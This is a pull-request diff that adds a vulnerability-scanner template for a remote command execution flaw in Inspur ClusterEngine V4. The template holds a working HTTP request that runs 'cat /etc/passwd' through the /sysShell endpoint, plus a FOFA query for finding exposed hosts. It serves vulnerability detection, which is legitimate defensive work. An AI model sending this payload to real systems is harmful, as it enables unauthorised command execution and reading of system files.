Merge pull request #4292 from ritikchaddha/patch-40

Create inspur-clusterengine-v4-sysshell-rce.yaml

vulnerabilities/other/inspur-clusterengine-rce.yaml

@@ -0,0 +1,34 @@
+id: inspur-clusterengine-rce
+
+info:
+  name: Inspur Clusterengine V4 SYSshell RCE
+  author: ritikchaddha
+  severity: critical
+  reference:
+    - https://github.com/MzzdToT/ClusterEngineV4.0sysShell_rce
+  metadata:
+    fofa-query: title="TSCEV4.0"
+  tags: inspur,clusterengine,rce
+
+requests:
+  - raw:
+      - |
+        POST /sysShell HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded;charset=UTF-8
+        Cookie: lang=cn
+
+        op=doPlease&node=cu01&command=cat+/etc/passwd
+
+    redirects: true
+    max-redirects: 2
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:.*:0:0:"
+
+      - type: status
+        status:
+          - 200